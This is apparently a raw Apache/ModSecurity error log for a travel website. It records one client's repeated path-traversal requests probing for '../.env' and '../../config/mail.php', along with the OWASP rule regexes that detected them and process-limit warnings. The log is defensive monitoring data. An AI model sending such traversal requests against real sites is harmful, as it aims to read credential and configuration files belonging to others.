[Fri Jul 17 08:55:05.897437 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.897723 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkQ7FYe46zHK_jL3PfwAAABk"]
[Fri Jul 17 08:55:05.922334 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?document=..%2F..%2Fconfig%2Fmail.php&junk=nSjrQz1vCV0sPvYN_dwnV9rFyjSC4zAanq7jaOBOmt_W7uyO2NBz9kT1rzqiTropgbqZuXtlVwBY6L9Ip3ibTKNVVvfkUKPk-IlNBV0wBG7_ewB37HOP6kSjx6Jjre5DSZytGmou8JRx6k6_jd1mGvA-11jwkJepxGuZ7-q32OlcYG2x2f91XAUaYbb-fFLHF44kOQfskUIAC0mbLCGGc-UmEjfRYSlBoag7SxtnvrbFeZWfoaUj64CWE5NiWHO1zB4VckQHfJq3ctU7VO_iaSIx&ts=7LVHTB7A44CXSAPHONZCMB6XKAFV555Q37IAW7X3T54NPKMLZXYUING3UFHBKSY5VO3ELZDAVXSUDOCRHKBHQDSXFHTTJ5YEZSTDY4IJ5CSHO2E3W7EF54BBRAAPBOKS..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURAAAABI"]
[Fri Jul 17 08:55:05.922379 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURAAAABI"]
[Fri Jul 17 08:55:05.922425 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../config/mail.php&junk=nSjrQz1vCV0sPvYN_dwnV9rFyjSC4zAanq7jaOBOmt_W7uyO2NBz9kT1rzqiTropgbqZuXtlVwBY6L9Ip3ibTKNVVvfkUKPk-IlNBV0wBG7_ewB37HOP6kSjx6Jjre5DSZytGmou8JRx6k6_jd1mGvA-11jwkJepxGuZ7-q32OlcYG2x2f91XAUaYbb-fFLHF44kOQfskUIAC0mbLCGGc-UmEjfRYSlBoag7SxtnvrbFeZWfoaUj64CWE5NiWHO1zB4VckQHfJq3ctU7VO_iaSIx&ts=7LVHTB7A44CXSAPHONZCMB6XKAFV555Q37IAW7X3T54NPKMLZXYUING3UFHBKSY5VO3ELZDAVXSUDOCRHKBHQDSXFHTTJ5YEZSTDY4IJ5CSHO2E3W7EF54BBRAAPBOKS2J2O67TDY2SI64..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURAAAABI"]
[Fri Jul 17 08:55:05.922458 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../config/mail.php&junk=nsjrqz1vcv0spvyn_dwnv9rfyjsc4zaanq7jaobomt_w7uyo2nbz9kt1rzqitropgbqzuxtlvwby6l9ip3ibtknvvvfkukpk-ilnbv0wbg7_ewb37hop6ksjx6jjre5dszytgmou8jrx6k6_jd1mgva-11jwkjepxguz7-q32olcyg2x2f91xauaybb-fflhf44koqfskuiac0mblcggc-umejfryslboag7sxtnvrbfezwfoauj64cwe5niwho1zb4vckqhfjq3ctu7vo_iasix&ts=7lvhtb7a44cxsaphonzcmb6xkafv555q37iaw7x3t54npkmlzxyuing3ufhbksy5vo3elzdavxsudocrhkbhqdsxfhttj5yezstdy4ij5csho2e3w7ef54bbraapboks2j2o67tdy2si64..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURAAAABI"]
[Fri Jul 17 08:55:05.922478 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURAAAABI"]
[Fri Jul 17 08:55:05.922495 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURAAAABI"]
[Fri Jul 17 08:55:05.923677 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfURAAAABI"]
[Fri Jul 17 08:55:05.923784 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.924073 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkV1_86A5R6msWNfURAAAABI"]
[Fri Jul 17 08:55:05.926986 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PgAAAABk"]
[Fri Jul 17 08:55:05.927049 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PgAAAABk"]
[Fri Jul 17 08:55:05.928263 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PgAAAABk"]
[Fri Jul 17 08:55:05.928397 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.928714 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkQ7FYe46zHK_jL3PgAAAABk"]
[Fri Jul 17 08:55:05.929144 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?load=..%2F..%2F..%2F.env&debug=A3DBf30JfMLtOJxbPVn7CqddXGmjvuQfqSTluEeb0p6JLhcp5xd51I8Neu4WhTfSsMb6-Dyn-h98GptXIMU7mUQg2bJPi1iUSzAUU3aFPJu3yXfR04GssV7kSPwme9orkrBz9j8qb7GXuMoCLfEZRzYQ5t9wZO8-jaZr2Dmq7JTsJF_qwCWgSueGDtJjTuTUmpLjgjQqctcsz3m7Xe2ZTT0XXy9HPVIPDSWLR_9djZQ3tzX8RrgirJJiFz1o3P7zHEyhwXiNIqWmMQGUXERzz3JO&anything=NTEDN4MFLD54BLEKPHQYW36KRE5RENIXYYMMOTEJZTY6BDNPMNQVLO4FGNK2MBMJ6WVM5MIVY2ED5S7S6RMDYWNH5QX6J5W7JWLOTNW7DY3OC4U5TDW44USDKSJF5KBARMEK6..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kQAAAAw"]
[Fri Jul 17 08:55:05.929191 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kQAAAAw"]
[Fri Jul 17 08:55:05.929235 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../../.env&debug=A3DBf30JfMLtOJxbPVn7CqddXGmjvuQfqSTluEeb0p6JLhcp5xd51I8Neu4WhTfSsMb6-Dyn-h98GptXIMU7mUQg2bJPi1iUSzAUU3aFPJu3yXfR04GssV7kSPwme9orkrBz9j8qb7GXuMoCLfEZRzYQ5t9wZO8-jaZr2Dmq7JTsJF_qwCWgSueGDtJjTuTUmpLjgjQqctcsz3m7Xe2ZTT0XXy9HPVIPDSWLR_9djZQ3tzX8RrgirJJiFz1o3P7zHEyhwXiNIqWmMQGUXERzz3JO&anything=NTEDN4MFLD54BLEKPHQYW36KRE5RENIXYYMMOTEJZTY6BDNPMNQVLO4FGNK2MBMJ6WVM5MIVY2ED5S7S6RMDYWNH5QX6J5W7JWLOTNW7DY3OC4U5TDW44USDKSJF5KBARMEK6BRWK5T3HCYGDZD..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kQAAAAw"]
[Fri Jul 17 08:55:05.929260 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../../.env&debug=a3dbf30jfmltojxbpvn7cqddxgmjvuqfqstlueeb0p6jlhcp5xd51i8neu4whtfssmb6-dyn-h98gptximu7muqg2bjpi1iuszauu3afpju3yxfr04gssv7kspwme9orkrbz9j8qb7gxumoclfezrzyq5t9wzo8-jazr2dmq7jtsjf_qwcwgsuegdtjjtutumpljgjqqctcsz3m7xe2ztt0xxy9hpvipdswlr_9djzq3tzx8rrgirjjifz1o3p7zheyhwxiniqwmmqguxerzz3jo&anything=ntedn4mfld54blekphqyw36kre5renixyymmotejzty6bdnpmnqvlo4fgnk2mbmj6wvm5mivy2ed5s7s6rmdywnh5qx6j5w7jwlotnw7dy3oc4u5tdw44usdksjf5kbarmek6brwk5t3hcygdzd..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kQAAAAw"]
[Fri Jul 17 08:55:05.929283 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kQAAAAw"]
[Fri Jul 17 08:55:05.929301 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kQAAAAw"]
[Fri Jul 17 08:55:05.929418 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?load=..%2F..%2F.env&sid=ht3FFbBC11FLxw4duw4b__LnVAUjLcne3QNNaqLI06PsP2IT1DTRSH-DNqaJaxpcIFKthu5bwgCh5ZL2rW3VLbjJ0M9wDaG6EV0rO4gp5E7_4My1nUcOLr5B_0KWLFmLmG5fgAiGcdN6smVoi_H1pgdC8tp5tevhLYRpKar7aiJaJ-QnyZ6gyaeECpNHYTDVpdqz4-jPGYn5QzyxEXGUvqoeMoJ_K0sIN96WpWEqQ9Qwa_wHdSqVFCm9HS9kV_bEn9GcvdgZXbKKkTmd6DgucgG7&ref=5GZJCJRPP4NHSY7UBSFBDE2O6VJAGKN6GZBCV2WCFXODDB5M5RYHTRCLLQ6THYMQ2NA2RNOL44BR5DZFLA6PFYOU6UWP4TTU2L3MZVJQPCH6WNWAEPHDH3ALEJWQQEBA4LS6ZJULMYIPBCPJP..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkQAAAAQ"]
[Fri Jul 17 08:55:05.929473 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkQAAAAQ"]
[Fri Jul 17 08:55:05.929554 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../.env&sid=ht3FFbBC11FLxw4duw4b__LnVAUjLcne3QNNaqLI06PsP2IT1DTRSH-DNqaJaxpcIFKthu5bwgCh5ZL2rW3VLbjJ0M9wDaG6EV0rO4gp5E7_4My1nUcOLr5B_0KWLFmLmG5fgAiGcdN6smVoi_H1pgdC8tp5tevhLYRpKar7aiJaJ-QnyZ6gyaeECpNHYTDVpdqz4-jPGYn5QzyxEXGUvqoeMoJ_K0sIN96WpWEqQ9Qwa_wHdSqVFCm9HS9kV_bEn9GcvdgZXbKKkTmd6DgucgG7&ref=5GZJCJRPP4NHSY7UBSFBDE2O6VJAGKN6GZBCV2WCFXODDB5M5RYHTRCLLQ6THYMQ2NA2RNOL44BR5DZFLA6PFYOU6UWP4TTU2L3MZVJQPCH6WNWAEPHDH3ALEJWQQEBA4LS6ZJULMYIPBCPJPO3VRX5H2U4M4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkQAAAAQ"]
[Fri Jul 17 08:55:05.929649 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../.env&sid=ht3ffbbc11flxw4duw4b__lnvaujlcne3qnnaqli06psp2it1dtrsh-dnqajaxpcifkthu5bwgch5zl2rw3vlbjj0m9wdag6ev0ro4gp5e7_4my1nucolr5b_0kwlfmlmg5fgaigcdn6smvoi_h1pgdc8tp5tevhlyrpkar7aijaj-qnyz6gyaeecpnhytdvpdqz4-jpgyn5qzyxexguvqoemoj_k0sin96wpweqq9qwa_whdsqvfcm9hs9kv_ben9gcvdgzxbkkktmd6dgucgg7&ref=5gzjcjrpp4nhsy7ubsfbde2o6vjagkn6gzbcv2wcfxoddb5m5ryhtrcllq6thymq2na2rnol44br5dzfla6pfyou6uwp4ttu2l3mzvjqpch6wnwaephdh3alejwqqeba4ls6zjulmyipbcpjpo3vrx5h2u4m4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkQAAAAQ"]
